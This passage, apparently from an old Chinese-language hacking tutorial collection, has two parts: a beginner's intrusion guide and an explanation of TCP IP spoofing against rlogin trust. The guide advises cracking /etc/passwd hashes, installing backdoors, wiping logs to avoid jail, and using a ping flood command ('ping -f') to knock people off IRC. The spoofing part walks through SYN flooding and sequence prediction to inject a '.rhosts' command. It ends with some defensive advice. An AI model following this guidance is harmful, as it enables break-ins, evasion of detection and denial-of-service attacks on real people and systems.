bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash
上面就是/etc/passwd的内容,但是你需要破解他们,可以用john the ripper,可以在packetstorm或其他地方找到它。我就用它,他很快。(snowbue:支持国产,你可以用小榕的 乱刀 可以在在www.netxeyes.com 下载)有时破解一个账号要用几年的时间,所以我并不提倡这种做法。
防火墙:
8. 如果你了解你所作的,防火墙并不能阻止你。我很喜欢用nmap,这个工具非常好。在www.insecure.org 可以找到最新的版本。我喜欢它的OS(操作系统)检测,即使目标只运行了很少的服务,它的检测也很准确。它通过分析目标的tcp指纹并于自身携带的数据库作比较来得到结果。下面给出一个使用nmap来查出防火墙规则的例子。敲入nmap –sA 。浙江检测防火墙的规则。我不想太过深入而是这篇文章变得使人厌烦。如果你像知道更多有关nmap的,只需敲入man nmap就可以了。
进入以后做什么:
9. 进入以后做什么取决于你想如何使用这个系统。如果你想有一个匿名的root shell,那么就设置一个后门。你可以在www.packetstorm.securify.com 找到后门(木马)。我认为你完全有能力自己独立设置一个后门,但是如果你需要帮助的话,加入$r00t-access,或许我可以帮助你。但是我*不会*帮助你进入一个系统,不过我或许可以帮助你加固你自己的系统。
如何才能不被抓住:
10. 最主要的事是。别干*蠢*事。如果你想保住那个shell,不要破坏那个系统,不要删除他们的文件,不过或许你需要修改他们的纪录。这就是我想说的。
清除纪录:
11. 如果你还向待在这儿而不进监狱的话,清除日志是最重要的工作。在login/hostname中清除纪录,linux里是/var/log,还有你目录下的.bash_profile文件。作这事的最简单的方法是到blackcode.com 或packetstorm找一个工具。
用途:
12. 我一向都拥有超过一个root shell。我在那上面运行nmap和saint来隐藏我自己的主机。或许我会在那上面设置一个web proxy/bnc。Saint是一个很好的工具。它可以告诉你系统有些什么漏洞。你可以在远程很容易的使用它。有时当我看不惯某人的时候,我就flood他们,就像这样:
# ping -f -c 50 -s 4500 IPaddress
…………………………………………………
…………………………………………………..
………E………..E…EE……..E………………E…….
…………..E…….E.EEE……………….E.E……
Host unreatchable.
有人认为这是lame的,但是我通过这样来让某人在IRC里闭嘴。
破坏者:
13. 在这篇文章中我没有谈到hacking,实际上我我所涉及的只是cracking,我并不破坏系统,可能永远都不会。并不是我没有这个能力而是因为这是不对的。再加上如果你被抓住了你或许会因为你的破坏而坐几年牢。我不喜欢人们把hacking和cracking混为一谈
ok 写完了。如果你有问题的话,可以联系我,但请不要问诸如如何去黑的问题。不久我将建一个telnet的BBS。

IP欺骗与盗用原理[热情推荐]

IP欺骗的原理
  IP欺骗的技术比较复杂,不是简单地照猫画老虎就能掌握,但作为常规攻击手段,有必要理解其原理,至少有利于自己的安全防范,易守难攻嘛。
  假设B上的客户运行rlogin与A上的rlogind通信:
1. B发送带有SYN标志的数据段通知A需要建立TCP连接。并将TCP报头中的sequence number设置成自己本次连接的初始值ISN。
2. A回传给B一个带有SYS+ACK标志的数据段,告之自己的ISN,并确认B发送来的第一个数据段,将acknowledge number设置成B的ISN+1。
3. B确认收到的A的数据段,将acknowledge number设置成A的ISN+1。
B —- SYN —-> A
B <—- SYN+ACK —- A
B —- ACK —-> A
  TCP使用的sequence number是一个32位的计数器,从0-4294967295。 TCP为每一个连接选择一个初始序号ISN,为了防止因为延迟、重传等扰乱三次握手,ISN不能随便选取,不同系统有不同算法。理解TCP如何分配ISN以及ISN随时间变化的规律,对于成功地进行IP欺骗攻击很重要。
  基于远程过程调用RPC的命令,比如rlogin、rcp、rsh等等,根据/etc/hosts.equiv以及$HOME/.rhosts文件进行安全校验,其实质是仅仅根据信源IP地址进行用户身份确认,以便允许或拒绝用户RPC。
  IP欺骗攻击的描述:
1. 假设Z企图攻击A,而A信任B,所谓信任指/etc/hosts.equiv和$HOME/.rhosts中有相关设置。注意,如何才能知道A信任B呢?没有什么确切的办法。我的建议就是平时注意搜集蛛丝马迹,厚积薄发。一次成功的攻击其实主要不是因为技术上的高明,而是因为信息搜集的广泛翔实。动用了自以为很有成就感的技术,却不比人家酒桌上的巧妙提问,攻击只以成功为终极目标,不在乎手段。
2. 假设Z已经知道了被信任的B,应该想办法使B的网络功能暂时瘫痪,以免对攻击造成干扰。著名的SYN flood常常是一次IP欺骗攻击的前奏。请看一个并发服务器的框架:
int initsockid, newsockid;
if ((initsockid = socket(…)) < 0) {
error(“can create socket”);
}
if (bind(initsockid, …) < 0) {
error(“bind error”);
}
if (listen(initsockid, 5) < 0) {
error(“listen error”);
}
for (;{
newsockid = accept(initsockid, …); /* 阻塞 */
if (newsockid < 0) {
error(“accept error”);
}
if (fork() == 0) { /* 子进程 */
close(initsockid);
do(newsockid); /* 处理客户方请求 */
exit(0);
}
close(newsockid);
}
listen函数中第二个参数是5,意思是在initsockid上允许的最大连接请求数目。如果某个时刻initsockid上的连接请求数目已经达到5,后续到达initsockid的连接请求将被TCP丢弃。注意一旦连接通过三次握手建立完成,accept调用已经处理这个连接,则TCP连接请求队列空出一个位置。所以这个5不是指initsockid上只能接受5个连接请求。SYN flood正是一种 Denial of Service,导致B的网络功能暂时中断
Z向B发送多个带有SYN标志的数据段请求连接,注意将信源IP 地址换成一个不存在的主机X;B向子虚乌有的X发送SYN+ACK数据段,但没有任何来自X的ACK出现。B的IP层会报告B的TCP层,X不可达,但B的TCP层对此不予理睬,认为只是暂时的。于是B在这个initsockid上再也不能接收正常的连接请求。
Z(X) —- SYN —-> B
Z(X) —- SYN —-> B
Z(X) —- SYN —-> B
Z(X) —- SYN —-> B
Z(X) —- SYN —-> B
……
X <—- SYN+ACK —- B
X <—- SYN+ACK —- B
X <—- SYN+ACK —- B
X <—- SYN+ACK —- B
X <—- SYN+ACK —- B
……
我认为这样就使得B网络功能暂时瘫痪,可我总觉得好象不对头。
  因为B虽然在initsockid上无法接收TCP连接请求,但可以在another initsockid上接收,这种SYN flood应该只对特定的服务(端口),不应该影响到全局。当然如果不断地发送连接请求,就和用ping发洪水包一个道理,使得B的TCP/IP忙于处理负载增大。至于SYN flood,回头有机会我单独灌一瓢有关DoS的。如何使B的网络功能暂 碧被居 很多办法,根据具体情况而定,不再赘述。
3. Z必须确定A当前的ISN。首先连向25端口(SMTP是没有安全校验机制的),与1中类似,不过这次需要记录A的ISN,以及Z到A的大致的RTT(round trip time)。这个步骤要重复多次以便求出RTT的平均值。现在Z知道了A的ISN基值和增加规律(比如每秒增 加128000,每次连接增加64000),也知道了从Z到A需要RTT/2 的时间。必须立即进入攻击,否则在这之间有其他主机与A连接, ISN将比预料的多出64000。
4. Z向A发送带有SYN标志的数据段请求连接,只是信源IP改成了B,注意是针对TCP513端口(rlogin)。A向B回送SYN+ACK数据段,B已经无法响应,B的TCP层只是简单地丢弃A的回送数据段。
5. Z暂停一小会儿,让A有足够时间发送SYN+ACK,因为Z看不到这个包。然后Z再次伪装成B向A发送ACK,此时发送的数据段带有Z预测的A的ISN+1。如果预测准确,连接建立,数据传送开始。问题在于即使连接建立,A仍然会向B发送数据,而不是Z,Z 仍然无法看到A发往B的数据段,Z必须蒙着头按照rlogin协议标准假冒B向A发送类似 “cat + + >> ~/.rhosts” 这样的命令,于是攻击完成。如果预测不准确,A将发送一个带有RST标志的数据段异常终止连接,Z只有从头再来。
Z(B) —- SYN —-> A
B <—- SYN+ACK —- A
Z(B) —- ACK —-> A
Z(B) —- PSH —-> A
……
6. IP欺骗攻击利用了RPC服务器仅仅依赖于信源IP地址进行安全校验的特性,建议阅读rlogind的源代码。攻击最困难的地方在于预测A的ISN。我认为攻击难度虽然大,但成功的可能性也很大,不是很理解,似乎有点矛盾。考虑这种情况,入侵者控制了一台由A到B之间的路由器,假设Z就是这台路由器,那么A回送到B的数据段,现在Z是可以看到的,显然攻击难度骤然下降了许多。否则Z必须精确地预见可能从A发往B的信息,以及A期待来自B的什么应答信息,这要求攻击者对协议本身相当熟悉。同时需要明白,这种攻击根本不可能在交互状态下完成,必须写程序完成。当然在准备阶段可以用netxray之类的工具进行协议分析。
7. 如果Z不是路由器,能否考虑组合使用ICMP重定向以及ARP欺骗等技术?没有仔细分析过,只是随便猜测而已。并且与A、B、
Z之间具体的网络拓扑有密切关系,在某些情况下显然大幅度降低了攻击难度。注意IP欺骗攻击理论上是从广域网上发起的,不局限于局域网,这也正是这种攻击的魅力所在。利用IP欺骗攻击得到一个A上的shell,对于许多高级入侵者,得到目标主机的shell,离root权限就不远了,最容易想到的当然是接下来进行buffer overflow攻击。
8. 也许有人要问,为什么Z不能直接把自己的IP设置成B的?这个问题很不好回答,要具体分析网络拓扑,当然也存在ARP冲突、出不了网关等问题。那么在IP欺骗攻击过程中是否存在ARP冲突问题。回想我前面贴过的ARP欺骗攻击,如果B的ARP Cache没有受到影响,就不会出现ARP冲突。如果Z向A发送数据段时,企图解析A的MAC地址或者路由器的MAC地址,必然会发送ARP请求包,但这个ARP请求包中源IP以及源MAC都是Z的,自然不会引起ARP冲突。而ARP Cache只会被ARP包改变,不受IP包的影响,所以可以肯定地说,IP欺骗攻击过程中不存在ARP冲突。相反,如果Z修改了自己的IP,这种ARP冲突就有可能出现,示具体情况而言。攻击中连带B一起攻击了,其目的无非是防止B干扰了攻击过程, 如果B本身已经down掉,那是再好不过。
9. fakeip曾经沸沸扬扬了一下,我对之进行端口扫描,发现其tcp端口113是接收入连接的。和IP欺骗等没有直接联系,和安全校验是有关系的。当然,这个东西并不如其名所暗示,对IP层没有任何动作。
10. 关于预测ISN,我想到另一个问题。就是如何以第三方身份切断 A与B之间的TCP连接,实际上也是预测sequence number的问题。尝试过,也很困难。如果Z是A与B之间的路由器,就不用说了; 或者Z动用了别的技术可以监听到A与B之间的通信,也容易些; 否则预测太难。作者在3中提到连接A的25端口,可我想不明白的 是513端口的ISN和25端口有什么关系?看来需要看看TCP/IP内部实现的源代码。
未雨绸缪
虽然IP欺骗攻击有着相当难度,但我们应该清醒地意识到,这种攻击非常广泛,入侵往往由这里开始。预防这种攻击还是比较容易的, 比如删除所有的/etc/hosts.equiv、$HOME/.rhosts文件,修改/etc/ inetd.conf文件,使得RPC机制无法运做,还可以杀掉portmapper等等。设置路由器,过滤来自外部而信源地址却是内部IP的报文。cisio公司的产品就有这种功能。不过路由器只防得了外部入侵,内部入侵呢?
TCP的ISN选择不是随机的,增加也不是随机的,这使攻击者有规可循,可以修改与ISN相关的代码,选择好的算法,使得攻击者难以找到规律。估计Linux下容易做到,那solaris、irix、hp-unix还有aix呢?sigh
虽然写的不怎么,但总算让大家了解了一下IP欺骗攻击,我实验过预测sequence number,不是ISN,企图切断一个TCP连接,感觉难度很大。作者建议要找到规律,不要盲目预测,这需要时间和耐心。现在越发明白什么是那种锲而不舍永远追求的精神,我们所向往的传奇故事背后有着如此沉默的艰辛和毅力,但愿我们学会的是这个,而不是浮华与喧嚣。一个现成的bug足以让你取得root权限,可你在做什么,你是否明白?我们太肤浅了……